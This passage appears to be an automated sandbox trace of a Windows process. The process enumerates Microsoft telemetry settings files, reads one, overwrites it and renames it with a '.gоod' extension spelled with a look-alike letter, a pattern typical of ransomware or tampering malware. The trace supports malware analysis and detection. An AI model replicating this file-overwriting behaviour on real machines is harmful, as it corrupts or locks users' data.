ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.174] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x69d9f6fd, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x69d9f6fd, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69e5dfd5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x623b, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.ASM-WindowsDefault.json", cAlternateFileName="TELEME~1.JSO")) returned 1 [0100.174] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44f, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.ASM-WindowsDefault.json.bk", cAlternateFileName="TELEME~1.BK")) returned 1 [0100.174] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xb0c71bce, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0xb0c71bce, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb0fb9083, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TELEMETRY.ASM-WINDOWSSQ.json", cAlternateFileName="TELEME~4.JSO")) returned 1 [0100.174] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x2d95e660, ftCreationTime.dwHighDateTime=0x1d336e0, ftLastAccessTime.dwLowDateTime=0x2d95e660, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2e6edc8f, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", cAlternateFileName="TEA386~1.JSO")) returned 1 [0100.174] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7ea85252, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7ea85252, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f139471, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", cAlternateFileName="TELEME~2.JSO")) returned 1 [0100.174] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7f139471, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7f139471, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f4f45ae, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", cAlternateFileName="TELEME~3.JSO")) returned 1 [0100.175] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x698688ac, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x698688ac, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69d06e63, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0xba4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.app.json", cAlternateFileName="UTCAPP~1.JSO")) returned 1 [0100.175] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x67f, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.app.json.bk", cAlternateFileName="UTCAPP~1.BK")) returned 1 [0100.175] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.cert.json", cAlternateFileName="UTCCER~1.JSO")) returned 1 [0100.175] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.cert.json", cAlternateFileName="UTCCER~1.JSO")) returned 0 [0100.175] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0100.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0100.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0100.176] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json", lpFilePart=0x0) returned 0x57 [0100.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0100.176] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json"), fInfoLevelId=0x0, lpFileInformation=0x34aba90 | out: lpFileInformation=0x34aba90*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x69d9f6fd, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x69d9f6fd, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69e5dfd5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x623b)) returned 1 [0100.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0100.177] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json", lpFilePart=0x0) returned 0x57 [0100.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0100.178] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0100.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0100.180] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk", lpFilePart=0x0) returned 0x5a [0100.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0100.180] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk"), fInfoLevelId=0x0, lpFileInformation=0x34ac2d0 | out: lpFileInformation=0x34ac2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44f)) returned 1 [0100.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0100.181] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk", lpFilePart=0x0) returned 0x5a [0100.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0100.181] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0100.181] GetFileType (hFile=0x20c) returned 0x1 [0100.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0100.181] GetFileType (hFile=0x20c) returned 0x1 [0100.181] GetFileSize (in: hFile=0x20c, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x44f [0100.181] ReadFile (in: hFile=0x20c, lpBuffer=0x34aca78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x34aca78*, lpNumberOfBytesRead=0x1f9edc08*=0x44f, lpOverlapped=0x0) returned 1 [0100.183] CloseHandle (hObject=0x20c) returned 1 [0100.884] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk", lpFilePart=0x0) returned 0x5a [0100.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0100.884] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c4 [0100.885] GetFileType (hFile=0x7c4) returned 0x1 [0100.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0100.885] GetFileType (hFile=0x7c4) returned 0x1 [0100.886] WriteFile (in: hFile=0x7c4, lpBuffer=0x3431c80*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x3431c80*, lpNumberOfBytesWritten=0x1f9edb18*=0x450, lpOverlapped=0x0) returned 1 [0100.886] CloseHandle (hObject=0x7c4) returned 1 [0100.886] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk", lpFilePart=0x0) returned 0x5a [0100.886] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk.gоod", lpFilePart=0x0) returned 0x5f [0100.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0100.887] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3857d38a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x450)) returned 1 [0100.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0100.887] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk.gоod" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowsdefault.json.bk.gоod")) returned 1 [0100.887] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json", lpFilePart=0x0) returned 0x52 [0100.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0100.887] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowssq.json"), fInfoLevelId=0x0, lpFileInformation=0x3432f88 | out: lpFileInformation=0x3432f88*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xb0c71bce, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0xb0c71bce, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb0fb9083, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x4c)) returned 1 [0101.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0101.255] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json", lpFilePart=0x0) returned 0x52 [0101.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0101.256] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowssq.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0101.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0101.714] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", lpFilePart=0x0) returned 0x96 [0101.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0101.714] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json"), fInfoLevelId=0x0, lpFileInformation=0x35e1ff0 | out: lpFileInformation=0x35e1ff0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x2d95e660, ftCreationTime.dwHighDateTime=0x1d336e0, ftLastAccessTime.dwLowDateTime=0x2d95e660, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2e6edc8f, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x90)) returned 1 [0101.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0101.715] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", lpFilePart=0x0) returned 0x96 [0101.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0101.715] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0101.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0101.717] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", lpFilePart=0x0) returned 0x96 [0101.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0101.717] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json"), fInfoLevelId=0x0, lpFileInformation=0x35e2c20 | out: lpFileInformation=0x35e2c20*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7ea85252, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7ea85252, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f139471, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90)) returned 1 [0101.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0101.717] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", lpFilePart=0x0) returned 0x96 [0101.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0101.717] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0101.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0101.719] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", lpFilePart=0x0) returned 0x96 [0101.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0101.720] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json"), fInfoLevelId=0x0, lpFileInformation=0x35e3948 | out: lpFileInformation=0x35e3948*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7f139471, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7f139471, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f4f45ae, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90)) returned 1 [0101.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0101.720] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", lpFilePart=0x0) returned 0x96 [0101.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0101.720] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0101.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0101.723] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json", lpFilePart=0x0) returned 0x42 [0101.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0101.723] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json"), 